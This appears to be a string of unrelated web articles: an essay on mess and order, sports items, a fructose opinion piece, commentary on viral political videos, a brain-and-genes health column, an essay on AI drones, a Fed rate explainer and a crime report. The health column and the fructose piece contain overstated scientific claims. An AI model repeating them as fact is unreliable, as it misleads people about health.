interfaces.”  And here is the answer: in order for mess to appear, there must be in the component parts of the mess an implication of extreme order, the kind of highly regular order generally associated with human intention. Flat uniform surfaces and printed text imply, promise, or encode a particular kind of order. In mess, this promise is not kept. The implied order is subverted. Often, as in my mess of text and logos above, the implied order is subverted by other, competing orders.  The information theory equivalent of a mess might be a chunk of data, pieces of which have been encoded using different symbolic systems, according to no particular order. If we discover the correct encoding for a part of the message, this seems to promise that it will work for the whole thing; but this promise is not kept.  Mess is only perceptible because it produces in our minds an imaginary order that is missing. It is as if objects and artifacts send out invisible tendrils into space, saying, “the matter around me should be ordered in some particular way.” The stronger the claim, and the more the claims of component pieces conflict, the more there is mess. It is these invisible, tangled tendrils of incompatible orders that we are “seeing” when we see mess. They are cryptosalient: at once invisible and obvious.  Every object and building implies a particular order, rendering some objects incompatible. If these incompatible objects are present, they are “mess.” Some buildings are more “exclusive” than others, aesthetically excluding large classes of objects. These highly ordered buildings are, for this reason, prone to mess. Stewart Brand, in How Buildings Learn (at around 14:50, h/t Graham Johnson), interviews the residents of an austere, rectilinear, highly-ordered Le Corbusier house. They note that they have had to get rid of “inessentials” in order to live there, forgoing ornate antique furniture and comfortable armchairs. A maison Corbu strongly projects a particular order onto its space, such that the vast majority of human furnishings are aesthetically excluded, rendered mess. Living within these constraints is a discipline, and “purifies the soul” in the sense of requiring you to live like you’re on a camping trip all the time. Houses with less austere order place more relaxed demands on their contents, including their occupants.  That which is “garbage” is aesthetically excluded from almost every visible order. Garbage is mess by its very nature, even if it is not the kind that rots. It must be taken away to where no one will look at it, because the decaying imprints of order it bears interfere with the aesthetic demands of all human spaces. Artists have been interested in garbage for precisely this reason. One of the few examples I have seen of garbage being incorporated into an order that is not “mess” is the nest of a bowerbird that has been decorated with bright blue plastic bottle caps and bright blue plastic straws.  Do non-human animals perceive mess? A bowerbird must. In order for the male to build and tidy up the bower (whose only purpose is for display), and for the female to judge it, they must have cognitive access to an imaginary order – a kind of ideal bower – to compare it to.  Like humans, some non-human animals exert effort to keep their feces away from their living spaces. (Sociologists call this the “fecal habitus,” in their manner of rendering the familiar alien.) Feces are aesthetically incompatible with human spaces; “mess” is used euphemistically for feces produced in ordered spaces and contexts that exclude them. Presumably, feces exclusion originated in a pathogen avoidance strategy. We keep feces, urine, vomit, and blood away from social contexts (to the extent possible) because they could be sources of highly ordered entities (bacteria, viruses) that will disrupt and conflict with our bodies’ own order.  The hygienic function of keeping incompatible orders separate extends into the objects of the mental world. Mess is stressful and uncomfortable; politeness demands that we cover, hide, or mask indications of orders incompatible with our mutually projected social order. At minimum, we must cover our nakedness outside of the intimate sphere. In masking parts of reality, we need not become less ourselves; what is masked forms the background against which the form of what is not masked is clear and salient.  Masking  When enough snow falls on a city to make everything look soft and white on top, it looks less messy. Limiting the color palette and softening sharp lines renders the underlying order more harmonious. The snow masks the conflicting orders implied by billboards, cars, dumpsters, and concrete sidewalks. A mess photographed in black and white (masking color) looks less messy. Strong composition of a photograph can mask messiness, foregrounding a certain subset of forms that interact harmoniously.  In my above example of the “mess” rectangle with overlapped text and logos, if either layer were masked, it would not be a mess. Covering certain aspects of reality is necessary to leave other aspects perceptible. We mask incompatible things from each other in order to prevent mess, and politely mask mess itself. Mess is intimate.  How can houses allow for the existence of mess without being a mess? Christopher Alexander’s ALCOVE pattern (in The Timeless Way of building) is a solution to the conflicting forces of intimate mess and social interaction, using a sort of mask. People want to be together, but they also like to do their own hobbies and activities. The person doing the hobby (say, me knitting) is absorbed in an imaginary order of the future, and only vaguely aware of the visual appearance of tools, materials, books. To observers who are not presently absorbed in this hobby, it looks like a mess. Knitting, for instance, requires not only knitting needles, but scissors, a tape measurer, a crochet hook, a yarn needle, and stitch markers. Loose ends are clipped off and accumulate, together with the unused remains of balls of yarn. Garments in progress have loose strands hanging off of them. Stitch books must sometimes be consulted. (This is not just my problem: producing containers for organizing hobby supplies of all kinds is a major industry.)  An alcove offers a little place to do a hobby that masks the distasteful appearance of mess and allows the hobbyist to be together with others without annoying them. If they all sat in one big room around a big table, the mess would distract and irritate. Multiple hobbyists’ incompatible messes might even flood together into a supermess, and swallow everyone.  Clothing in general, and costumes of particular social roles (business suits, priest collars), are like alcoves for our bodies. We take them with us and can interact with others safely within social orders, without getting distracted by the intimate order of the body.  Orders of Strands  What is likely to be a mess? I think one of the most common messes is your hair. We should be suspicious of our hair for several reasons: first, humans grow the longest hair of any mammal. Second, no other mammal has our hair pattern of unlimited-length head hair growth and limited-length body hair growth. Third, Donald E. Brown included “hairstyles” on the list of human universals.  Long strands, whether curly or straight, are difficult to keep organized. Thread is wound on a spool; rope is looped; electronic cables are intricately braided; yarn is organized in skeins and balls; hair is brushed, braided, waxed, shaved, dreaded, wrapped around hair donuts, trimmed, dyed, and pinned up.  Incidentally, another of Brown’s human universals is the production and use of string, yarn, or a tying material. Humans quickly became virtuosos at organizing fibers.  Hair is “a mess” if it has not been ordered according to the standards of one’s culture and situation. To have hair is to have a black hole of ordering effort: merely existing (sleeping, running, wearing a hat, going outside, etc.) disrupts the order of hair. The quality of being “a mess” is perhaps more perceptible in hair that has been carefully pinned up into a complicated style and slept in, than in hair that is merely unstyled and unbrushed. The tattered remains of a hairstyle imply an order incompatible with having hairs sticking out everywhere and being kind of smushed on one side. Merely unbrushed hair only suggests the alternate order of brushed hair.  Human hair, then, is a locus for the display of order. Its “natural” state is mess, implying that hair comes with an order deficit, requiring organizational effort to come up to the level of acceptable human. Our minds and personalities are similar.  The Order of Clouds  Alan Watts said that there is a way to turn any mess into not-mess: add symmetry. The example he gives is a kaleidoscope, in which a mess of incompatible things is turned into a shifting geometric pattern.  The kaleidoscope, transformer of messes, adds a particular kind of symmetry. It is not mere bilateral symmetry; Rorschach blots can still be messes. The kaleidoscope produces what Christopher Alexander calls local symmetries: the property of being composed of many overlapping sub-pieces that display symmetry. Watts says that clouds are not symmetrical, and they are not, precisely, but in their forms we can often detect local symmetries (particularly in stratoculumulus clouds).  Here is the earlier picture of basement clutter transformed with a kaleidoscope filter:  This no longer looks like mess. Shape and form at different levels of scale pop out. Deformed, fragmented, and reflected upon themselves, the components of the mess no longer conflict with each other as much. Conceptually, they are masked; whatever they were, whatever reality they implied, is lost in the new order of geometric forms.  “Local symmetries” is the most objective of Christopher Alexander’s Fifteen Fundamental Properties, described in The Nature of Order (see my The Quality Without a Name at the Betsy Ross Museum” and The Fifteen Fundamental Properties). “Alternating repetition” is also a rather objective property, and the kaleidoscope imposes that too (see the alternating arms). In this image, strong centers (perceptible, thing-ish subsets) are formed and support each other. The arms form thick borders.  The kaleidoscope transforms mess into non-mess by viewing the mess through a (literal) lens of many of the Fifteen Fundamental Properties. It imposes an organization so strong that it cancels out the whining from whatever garbage or mess you put into it. These are the properties that are found throughout Nature, as well as in beautiful architecture and objects – beautiful not in the sense that they are striking, but in the sense that they produce a sense of inner calm and the ability to recognize one’s self in them.  Are there truly no messes in Nature? That it “never makes an aesthetic mistake”? On short time scales, at least, there seem to be natural messes. When a tornado destroyed most of Cathedral Pines in Connecticut, the result looked to residents like a mess. People even cleaned it up, removing fallen trees from the newly-bare ground. The perception of the flattened forest, with trees scattered and dead, conflicted with the remembered order, the ideal, ordinary forest with trees mostly alive and pointing up. An enormous force disrupted the everyday order of the forest; this order repairs itself, but only slowly.  The underlying natural order of clouds and stars, Alan Watts says, is difficult to describe. It is a special order formed of many regular mathematical laws operating on an irregular world. Life exploits mathematical elegance, while making local adjustments everywhere according to the systems it interacts with – wind, water, sun, other life. The Fifteen Fundamental Properties are an attempt to describe, if not explain, the order of nature, which somehow never seems like a mess.  Clouds are an image of the interaction between air currents, water, and geography. Each element is a reflection of the others. Animals and plants are reflections of their environments, which change to become reflections of them. Being constantly rebuilt by independent entities and forces at all scales of time and space, constrained by each other, is how the order of nature never looks like a mess (except during tornado season).  An irregular world struggling to be regular always achieves a certain level of regularity which is interrupted by unusual configurations created by the very forces that produce the regularity as they act against a framework of three-dimensional constraints inherent in space.  Christopher Alexander, The Nature of Order Vol. 1, p. 279  The properties predict several things about mess. A building or object that displays these properties is likely to retain them as it decays (see the mossy stone ruin), whereas things lacking the properties are likely to decay into mess. And a mess will be more pleasant if it is ordered by the fundamental properties. Alexander gives the example of a typical car repair shop: it appears rugged and even grimy, but it has the kind of “‘messy’ order that has been created by the real everyday needs of the people who work there.” He contrasts this with the superficially orderly, but shallow and sterile, storefront of a restaurant (id. at p. 337).  Just as the bowerbird has some kind of cognitive access to the imaginary way a bower should look, we seem to have access to a mental order hinted at by the fifteen fundamental properties, intuitively if not consciously.  Imaginary Orders  A great deal of our reality is made from imaginary orders we carry around in our heads. We use these imaginary orders to rebuild, navigate, and judge our world. A mess is a visceral clue to the existence of these invisible orders.  Perhaps we can braid some threads.  A mess is a juxtaposition of components, one or more of which implies an order that conflicts with the orders implied by the other components. In other words, two or more components create incompatible mental projections.  A joke (or humor in general) is the surreptitious introduction of a mental projection that is later shown to be mistaken. Incompatible mental projections quickly switch places in time. (See On Some Possibilities for Life as a Joke.)  A self is constructed from first-person experience and from mental projections of how others see oneself; these are often in conflict. (See The Essence of Peopling.)  A story or narrative is a mental projection of characters and events embedded in a particular causal logic. Listening to a story seems passive, but in order to process the narrative, the listener must construct a coherent mental world out of the details provided. Unconscious predictions are made, and then winnowed and changes as more evidence is presented and conflicts resolved. The experience bears a strong resemblance to the game, says Nick Lowe (in The Classical Plot and the Invention of Western Narrative, text from which is mangled with logos in an image above):  I would suggest that these homologies between the two different kinds of model universe [game and narrative] may be more than coincidental: that narrative universes and games are different cultural artifacts of a common underlying cognitive apparatus, originally evolved to interpret real-world experience to an intelligible system of mental representations.  As human beings, “projecting and sharing stylized model worlds in mental space” is both our ancestral job and our favorite hobby. The world that we interact in is mostly imaginary, constructed by all of us out of fantasies and guesses. As we get more intelligent, we will get more imaginary.
-Good news, Ravens fans: It looks like 2018 is the year for everything purple.  Pantone announced its Color of the Year on Thursday, and it’s Ravens purple.  OK, so it’s really called “ultra violet,” but it sure looks like the home team’s colors. Pantone says, “Ultra Violet communicates originality, ingenuity and visionary thinking that points us toward the future” — all things the Ravens will need as they continue the hunt for a spot in the playoffs (and face their archrivals, the Pittsburgh Steelers, on Sunday night).  The color of the year, according to a Pantone representative, means “more than ‘what’s trending’ in the world of a design; it’s truly a reflection of what’s needed in our world today.” Hopefully for Baltimore, the world needs more of the Ravens in January.  And at the very least, Ravens fans will be on trend with their gear and accessories.
-The Boston Celtics have taken their fans on a surreal roller coaster ride of emotions this season, one filled with exhilarating highs often followed by head-scratching lows.  But through it all, Kyrie Irving more than any other Celtics player believes when the time comes and the games are upgraded in value significantly - better known as the playoffs - he has shown no doubts that Boston will be ready, willing and capable of getting to the NBA Finals.  "In the playoffs, when we can plan for a team, prepare for a team, I still don’t see anybody beating us in seven games,” Irving recently told reporters.  So, they can just flip a switch like that, huh?  Irving’s confidence in the Celtics being able to get to the Finals stems from Boston’s success against the Eastern Conference's top-shelf squads this season.  Against the top four teams in the East (Milwaukee, Toronto, Indiana and Philadelphia), the Celtics are an impressive 7-4.  They hope to continue along those lines tonight when they travel up North to take on the Toronto Raptors.  MORE CELTICS  This will be the fourth and final matchup between these two during the regular season series which Boston leads 2-1.  If Boston wins tonight, they will take the head-to-head series which could come into play if the two finish with an identical record.  While Irving’s confidence in being able to right the ship in time for the playoffs makes sense for him, it’s not going to be quite as easy for his teammates.  Even with last season’s success in the playoffs, folks forget one of the keys to how Boston performed in the postseason a year ago entered around them finishing out the regular season strong, winning in eight of their last 12 games.  And that success, that confidence spilled over into the postseason with a number of Celtics players getting their first shot at playing a pivotal role in the team’s postseason aspirations which ended with a trip to the Eastern Conference finals losing to Cleveland in seven games.  Irving wasn’t available at that time, missing the team’s entire postseason run as he recovered from a surgical procedure to removed infected screws in his left knee that were put in place following a left kneecap injury in 2015.  All of the Celtics recognize the playoffs are indeed around the corner, but the focus has to be on the moment at hand - facing the Toronto Raptors.  Because if this team will successfully turn it on during the playoffs, they have to start building towards that now.  That doesn’t mean they have to go on some sort of torrid tear per se. But they do have to start playing better to develop the kind of good habits you absolutely have to have in order to have any kind of legitimate shot at postseason success.  Last year’s team dealt with key losses both at the start (Gordon Hayward) and at the end (Irving) of the season.  But in between that period of time, we knew a couple things about that team.  They would play to the final horn, regardless of how deep a ditch they had to climb out of in order to have a shot at winning.  And when games were close, they were clutch - and it wasn’t just Irving delivering the goods, either.  This season the Celtics are 3-5 in games decided by three points or less.  Last year?  They were 11-8 with the 11 wins tied with Indiana for the most wins in the league by three points or less.  Winning close games. Playing tough defense.  Those were the two defining qualities of last season’s Celtics team, a team that by and large looks almost identical to the team on the floor now in terms of personnel.  MORE FROM A. SHERROD BLAKELY  But when it comes to this team’s identity … they have not played anywhere close to the consistency of last season’s squad which is why their identity on so many levels is radically different now.  Instead of playing solid defense night-in and night-out, that solid defense has been sporadic.  And the ability to win close games hasn’t been a strength of this team, with the latest blown opportunity coming at Milwaukee last week when they rallied to lead late in the fourth quarter but failed to come up with a necessary defensive stop in order to fully swing the game’s momentum in their favor.  Which brings us back to flipping the switch when the playoffs arrive.  No one questions whether the Celtics have enough talent to do so.  They have proven themselves repeatedly that when they face the best, that’s when they are at their best.  But the playoffs require that mindset and that ability to be on a certain level of consistency, something this Celtics team has shown very little of with any kind of regularity which is why the idea that this team can just turn it on for the playoffs is hard to see coming to fruition.  Click here to download the new MyTeams App by NBC Sports! Receive comprehensive coverage of your teams and stream the Celtics easily on your device.
-The battle over the compound fructose now reaches new levels of obfuscation. The food industry is a strong – and loud, and rich – proponent, hard to ignore. The European Food and Safety Agency has just weighed in, in favour of the substitution of sucrose (table sugar: a disaccharide composed of the monosaccharides glucose and fructose) with fructose alone, the sweeter of the two – even to the point of allowing health claims for fructose on the packaging of processed foods.  And yet the scientific data on fructose says it is one of the most egregious components of the western diet, directly contributing to heart disease and diabetes, and associated with cancer and dementia. Nature magazine has just published a scathing indictment of fructose by Dr Lewis Cantley, one of the US's leading cancer researchers. But the EFSA says it sees no harm, justifying its stance on the basis that fructose has a lower glycaemic index than glucose.  The concept of glycaemic index is simple. This is how high your blood glucose rises after ingesting 50 grams of carbohydrate in any specific food, which is a measure of a food's generation of an insulin response, and is used as a way of showing a food's potential for weight gain. Glycaemic index is a proxy for how high your insulin level will rise, which determines whether that blood glucose will get shunted to fat cells for storage. Low-glycaemic-index diets promote blood sugar stability and are associated with weight loss. But the EFSA has missed the point. Glycaemic index is not the issue.  Glycaemic load is where it's at. This takes into account how much of a given food one must eat to obtain 50 grams of carbohydrate. The perfect example is carrots. Carrots have a high glycaemic index – if you consume 50 grams of carbohydrate in carrots, your blood sugar will rise pretty high. But you would have to eat 1.3lbs – 600 grams – of carrots to get 50 grams of carbohydrate. Highly unlikely. Any high-glycaemic-index food can become a low-glycaemic-load food if it's eaten with its inherent fibre. That means "real food". But fructose is made in a lab. It's anything but "real".  Yes, fructose has a low glycaemic index of 19, because it doesn't increase blood glucose. It's fructose, for goodness sake. It increases blood fructose, which is way worse. Fructose causes seven times as much cell damage as does glucose, because it binds to cellular proteins seven times faster; and it releases 100 times the number of oxygen radicals (such as hydrogen peroxide, which kills everything in sight). Indeed, a 20oz soda results in a serum fructose concentration of six micromolar, enough to do major arterial and pancreatic damage. Glycaemic index is a canard; and fructose makes it so. Because fructose's poisonous effects have nothing to do with glycaemic index; they are beyond glycaemic index.  The food industry is fond of referring to a 1999 study showing that liver fat generation from oral fructose occurs at a very low rate (less than 5%). And that's true, if you're thin, insulin sensitive, fasting (and therefore glycogen-depleted), and given just fructose alone (which is poorly absorbed). Conversely, if you're obese, insulin resistant, well fed, and getting both fructose and glucose together (like a sizable percentage of the population), then fructose gets converted to fat at a much higher rate, approximating 30%. In other words, the toxicity of fructose depends on context.  The industry points to meta-analyses of controlled isocaloric "fructose for glucose" exchange studies that demonstrate no effect from fructose on weight gain or other morbidities. Perhaps one reason for this is because crystalline fructose is incompletely absorbed. When that happens, residual fructose in the gastrointestinal system causes pain, bloating, and diarrhoea: ask any child the morning after Halloween in between trips to the bathroom relieving his diarrhoea. Furthermore, those meta-analyses where fructose was supplied in excess do show weight gain, high levels of lipids in the blood, and insulin resistance. The dose determines the poison.  The EFSA has boosted the position of the sugar industry, either through incompetence or collusion. But it is clear that this recommendation is scientifically bogus. Nutritional policy should be based on science – not pseudoscience, as we have seen over the past 30 years.
-Here, too, the most interesting moment in the video isn’t the rant; it comes when an aghast patron intervenes. “Do not talk to other people that way,” he says. The two then discuss whether they should “step outside” and settle things, before the Trumpeter leaves the shop grumbling about the “absolutely ridiculous” experience. (He has since apologized for his behavior, but still maintains that he was discriminated against.)  The Delta video was perhaps the most bizarre of these three instantly famous incidents—and the reaction it captures is also telling. The man on video appears to be exhorting a plane full of people to share his enthusiasm about the president-elect, clapping his hands over and over while shouting “Donald Trump, baby! ... Come on, baby! Trump!” Greeted by utter silence, he then demands to know, somewhat defensively, whether “We got some Hillary bitches on here?” (which might have been what got him banned from the airline for life).  So, yes, these people were acting entitled. In two of the cases, they were engaged in racial harassment. And sure, they’re all displaying petulant and pathetic assertions of white privilege. But they’re also full of what the scholar and author Robin DiAngelo calls “white fragility”—“a state in which even a minimum amount of racial stress becomes intolerable, triggering a range of defensive moves.”  Anti-racist activist Tim Wise says these episodes demonstrate, as much as anything else, how recent years have created “a perfect storm of white anxiety” in the United States: There was the economic crisis, followed by the election of the first black president—and a nagging anxiety about the fast-approaching end of majority-whiteness in America. And then, of course, along came Trump, who Wise describes as “much more the bullhorn than the dog whistle” with his racial appeal. The president-elect has mainstreamed expressions of bigotry, allowing for greater expression of a new white identity politics—even among Americans who don’t support Richard Spencer-style white nationalism.  The good news in these videos, to the extent that there is any, is that both their content and their spread on social media suggests that other white people aren’t going to be, to use a Wise phrase, “silent partners” for assertions of white nationalism and privilege. Jessie Grady’s decision to capture the episode in Michaels—and to immediately rally to the aid of black store employees, along with several other customers—was a prime example of what racial-justice activists call “white allyship.” (Grady also raised more than $22,000 on GoFundMe for the store manager.)  Wise said he’s seen more white anti-racist activists in recent years than he has for many decades—and Trumpism has undoubtedly helped them find their voices, too. In a strange way, these disturbing viral videos can be a gift, showing Americans who we really are—both bad and good. They’re also an challenge to be our best selves, to act in such situations the way we’d hope to be seen on camera.
-Healthwise  Columnist Larry R. Miller (Photo: Courtesy Photo)  When the neural pathways in the brain became stronger, deeper ruts, we began to think, feel, act, and believe in automatic ways. When that's the case we begin to operate more and more within the boundaries of those ruts in your brain. Then we begin to feel, think, behave, respond and believe that we can’t change or that changing would be very difficult. You know those thoughts that course through your mind “Well, that’s the way I am. That’s who I am.” Once we believe that, we begin to look for more ways to solidify our convictions that we’re right about whatever we believe is true and that change isn’t possible.  Anything you repeat over and over whether it's mind talk, something you practice or are repeatedly exposed to, the effects are the same, it causes a change in your brain. More neural pathways are made available for doing, thinking, believing, feeling or being “it”. The result is a new neural pathway is created for it.  In the early days of brain plasticity research, monkeys were trained to push a lever over and over for many days. When the brains of the monkeys were looked at, researchers found that lots of neurons had been dedicated to lever-pushing.  Most of our lives are spent in the beta brain wave state. The beta wave represents excitement of the cortex to a higher state of alertness and tension. This is a good place to be some of the time but not all the time. The alpha, theta, delta, and gamma brain waves are more resourceful brain wave patterns and meditation can help you become better at creating them.  These brain wave states are involved in the most fundamental human ability-awareness. When you're in those states, you’re not just creating new neural pathways, new ruts, you’re creating super-awareness. Awareness, super awareness in particular, creates choice and when you're able to create choices, you can choose what you want to experience in life.  Repeated meditation or other ways to enter these brain wave states allows for a is a huge increase in awareness, which allows you to see that you have choices about, and the ability to change, your automatic responses. And, as a result, you can choose to step out of the ruts that no longer are beneficial. Once these new patterns become the established norm, you’ll naturally choose to do, feel, think and be what's best for you to reach the goals you have set for yourself.  Eric Kandel, the winner of the 2000 Nobel Prize for Medicine, discovered that when an animal learns something over a period of several hours, that learning process causes signals to be transmitted into the DNA of the nerve cells.  Those signals, Kandel found, turn certain genes on and other genes off. He proved that you can repeat a thought or action over and over, or create slower, more coherent brain waves day after day through meditation, and some of your genes are turned on to make new proteins inside your brain cells.  This genetic change alters the structure of that cell and changes the number of connections that cell has with other cells in your brain which leads to more awareness, more resourceful ways of thinking, acting, feeling, and being that are more beneficial and have the ability to slow the aging process.  Kandel also showed, contrary to what had long been believed, that even our genes can change. Not only can our brains change, we can also change the genes we inherited or the personal characteristics we've created in those genes and consequently lessen, or eliminate totally, our beliefs about genetic predisposition.  Kandel's research proved that our thinking, behavior and the way we stimulate our brain can actually influence the aspect of the gene that causes it to turn on or off certain proteins, proteins that influence our level of awareness, what we believe is possible, our emotional reactions and how much motivation, creativity and happiness we have.  Larry R. Miller has been a freelance writer since 1982 on health, fitness and, more recently, anti-aging.  Read or Share this story: http://www.demingheadlight.com/story/news/2016/03/20/can-your-brain-change-your-dna/82048262/
-Famous Chinese military strategist Sun Tzu, who is credited as the author of the famous war strategy guidebook Art of War had said; “know thy self, know thy enemy. A thousand battles, a thousand victories.”  Those words were from the 5th century BC. The ‘art of war’ in the 21st century is drastically different. So much so that Christopher Coker, professor at the London School of Economics and author of Warrior Geeks in a 2013 piece declared that technology, in fact, is now making man the weakest link in warfare.  India is also now looking to get into the world of advanced drone warfare. New Delhi has shown renewed interest in buying some of the top US-made drones currently proving their worth for the American military around the world. As border management for India remains a critical challenge, not just with Pakistan but China as well, drones with capabilities of surveillance and strike operations would be a boon for the Indian armed forces.  Technological advancements over the past two centuries have largely taken place as by-products of military solutions to make warfare smarter, more accurate and more lethal. An aircraft is capable of taking you from Delhi to Rio de Janeiro within a few hours in utmost comfort and safety today, and the same technology is also used to drop bombs in war zones. Nuclear technology is used today for both mass destruction of humankind via its weaponisation and mass development of humankind via its immense potential for providing clean energy to millions of people.  War, after all, is widely considered as a human condition by philosophers and scholars, a view that has upheld over the evolution of mankind. But humans being an integral part of conflict throughout history is now being challenged, something perhaps not many would have envisaged. Automation in warfare by machines is now being driven by the advent of Artificial Intelligence or AI. Machines in battlefields are being prepared to think for themselves and decide who is a target and who is not.  Drone warfare is one of the big success stories of machines taking over the more dangerous tasks in a battlefield while the pilots are brought into a strange dystopian-utopian world of killing people from behind an office desk that is inside a military base thousands of miles away. Drones today are seen as the ace of spades in military arsenals, specifically with the United States, which has used them for targeted killings in Afghanistan, Iraq, Yemen and now even Pakistan with immense success.  Most of America’s drone program, which is spread out over military bases around the world, actually takes place from the parched state of Nevada, which is home to the Nellis and Creech Air Force bases, just outside the glitz and glam of Las Vegas. From here, a drone pilot can operate his machine remotely sitting in his living room if he wants. This is an awkward phase in air warfare at least, where the rush of flying a fighter plane into a war zone for pilots is slowly turning into an unlikely desk job. A modern military drone, such as the famous MQ-1 Predator model, has capabilities of flying non-stop for 18 hours at a height of nearly 30,000 ft (drones have now also successfully completed mid-air refuel trials, meaning in the near future they can be kept in the air indefinitely). It can keep circling a target over enemy territory and perform pinpoint surveillance, including high-definition video, audio, still photography and even heat-sensor based videography. This means that if you are sitting inside your home having a hot meal, the drone’s sensors can catch the heat from your food and body to get your exact location. The aircraft can do all this in a hostile environment while not endangering a pilot’s life and as a machine costing a fraction of the price compared to a conventional fighter jet manned by a human crew.  American drone pilots have known to struggle with moral and ethical dilemmas with this new job of killing people remotely and then going back home and trying to lead normal lives. The recent Hollywood film Eye In The Sky touched on this very subject, bringing this aspect of modern warfare to public eye.  Artificial Intelligence’s infusion with drone warfare could wipe out these dilemmas. Machines don’t have a conscience, ethics or morals and neither do algorithms.  Governments and developers have now started thinking much beyond such basic automation in warfare. The advent of AI is now taking ideas of drones in a war zone to a more futuristic, questionable and, perhaps, worrying place. Programmes are now being developed to integrate AI with drones. To make it simpler, work is taking place to make it possible for drones to decide their targets themselves, in effect removing human interference (not to be confused with removing human oversight).  According to a June 2016 article from the University of Cincinnati (UC), a recent simulation conducted at the university in a man vs machine situation saw the AI machine win simulated aerial combat exercises against experienced US pilots. But this is automation at an operation level, a direct challenge to the limitations of the human brain and attempts to breach the envelop of its capacities. The more worrying prospects, as mentioned above, is developing abilities for machines to think for themselves, specifically in a war zone. More importantly, the UC project has achieved this feat of defeating human pilots in combat simulation using the processing power of a tiny computer called Raspberry Pi which is available for as little as $35 in the market.  Lethal Automated Weapons Systems (LAWS) are being funded world over on an advanced level now. However, the intent is clear— to make machines plug the gaps of human thinking, physical endurance and so on. Experts have said that ‘self-thinking’ war machines are going to be a reality not in a matter of decades, but years. In fact, many of them are already in operation, as PW Singer, former Director of the 21st Century Defense Initiative at the Brookings Institution explains so well in his paper titled ‘Robots at War’. Currently, international law requires human intervention in engaging targets during wartime and, perhaps, this is the only major reason that is keeping full-automation of drones at an arm’s distance.  The technology exists and work is being conducted. For example, the joint Anglo-French drone program called Taranis is being developed as a futuristic evolution of drones, to be battle-ready by 2030. But the program’s manager Clive Morrison has said that they were working on the presumption that capabilities of autonomous strikes might be needed in the future. This is a strong indication that it is indeed only international laws keeping automation in targeting away from drones at the moment and that the technology is perhaps near fructification for drones to make their own decisions on who to take out or what to strike today itself.  Influential scientists and entrepreneurs such as Stephen Hawking and Elon Musk of Tesla and Space X fame have called for more robust debates on how AI is going to be incorporated into humanity as a beneficial force and not a destructive one. Hawking, in 2014, had warned that development of AI could “spell the end of human race”. While perhaps Hawking’s is a quite an alarmist proposition over the future of AI, there is no doubt that the exit of human conscience, ethics and intuition from war machines in the future, which today is being protected by the international legal framework, is a possibility with grave consequences for mankind in a world already fraught with so many fault lines.
-The U.S. Federal Reserve made history Wednesday when it raised its key interest rate by 0.25%.  It's a big moment for the U.S. economy. Here's what you need to know.  1. It's the first rate hike in nearly 10 years: This is the Fed's first rate increase since June 2006. Back then, the economy was hot: Unemployment was at 4.4%, and the housing bubble was about to burst. The Fed tried to cool it down by raising rates.  2. It's a good sign for the economy: The rate increase is a signal that the U.S. central bank is confident about the strength of the economy and its ability to handle higher borrowing costs. It also shows how far the economy has come since the Great Recession ended in 2009, when unemployment hit 10%. Now it's at 5%.  3. Interest rates are coming off zero: The Fed put rates near zero in December 2008 to boost the economy and stimulate the collapsed housing market. Rates haven't budged since then.  Related: Wall Street celebrates historic rate hike  4. The Fed wants to raise rates slowly: The Fed increased its target rate from near zero to 0.25%. That's a very small move. The Fed also said it expects to continue to raise rates at a slow, gradual pace next year.  5. Savers will finally make a little money: If you put money in your savings account, you will slowly start to earn interest over the next couple years as rates start climbing higher. Savers haven't earned any interest since 2008.  6. Higher rates are usually bad for stocks: But not always. When the Fed last raised rates between 2004 and 2006, the S&P 500 actually gained 15%. But higher rates increase how much it costs companies to borrow. And that can the economy to slow, which is not what stock markets want. On Wednesday, U.S. stocks went higher after the rate hike was announced.  7. Home buyers, now's the time to pay attention: Mortgage rates won't skyrocket overnight but they are expected to start climbing. A typical rate on a 30-year mortgage is 3.9%. That's very low. In 2006, mortgage rates were above 6%.  Related: Finally! Fed raises interest rates  8. Higher rates will make the dollar stronger. A strong dollar is a nice perk for U.S. travelers but it's not good for American businesses, such as Apple (AAPL) and Nike (NKE), that sell their products abroad. A strong dollar makes American products more expensive -- and less attractive -- to foreign shoppers.  9. The Fed doesn't want to be late. The Fed doesn't want to hurt U.S. trade. Interest rates often take a few months to really have an impact on the economy. If it waited much longer, it runs the risk of an overheated economy.  10. Almost everyone had expected a rate hike: Over 80% of traders expected the Fed to raise rates, according to a CME Group analysis.  11. The Fed's historic move was led by Janet Yellen. Fed Chair Ben Bernanke led the central bank during the last rate hike in 2006. Now his hand-picked successor, Janet Yellen, is the one in charge. She's the first woman to be Fed chair in the bank's 112-year history.
-In 1996, Kielhurn was arrested after she was found with 25kilos of cocaine,  A Florida woman has been arrested after hitting her lesbian partner in the face with a dildo.  Annette Kielhurn of St. Petersburg was in the presence of a police officer when during an argument with Gamze Capaner-Ridley she pulled out the sex toy and slapped her in the face.  This arrest comes almost 20 years after Kielhurn was sent to prison for three years after being found passed out and drunk in a car that contained 25kilos of cocaine in the backseat - which had a street value of $2.5million.  Annette Kielhurn (above, right in mugshot from June arrest for trespassing) of St. Petersburg, Florida was charged with domestic battery on Saturday after she hit her partner in the face with a dildo  The Smoking Gun obtained a copy of the police report which says that Capaner-Ridley, 57, had filed for a civil domestic violence injunction on Friday, and on Saturday an officer accompanied her as she removed some personal belongings.  Things started to get heated between the women when Kielhurn, 57, objected to a dress that Capaner-Ridley planned to take with her.  That is when, according to the police report, 'the defendant intentionally shoved a dildo in the victim’s face and grabbed her right arm while arguing whose it belonged to.'  At that point, Kielhurn was arrested and charged with domestic battery.  It was also noted that Capaner-Ridley had asked the defendant several times not to touch her.  Kielhurn was booked on a misdemeanor and released on $500 bail.  She also has a court case pending after she was arrested for trespassing last month.  Kielhurn is a former New York State corrections officer who also owned a cleaning company in Long Island before being arrested in 1996.  She was in North Carolina when an officer found her passed out and drunk in the driver's seat of her rental car.  The officer asked to search her vehicle and she agreed, at which point a suitcase was discovered in the trunk with a large quantity of cocaine.  A breathalyzer administered by the officer registered a blood-alcohol level of 0.18 percent.
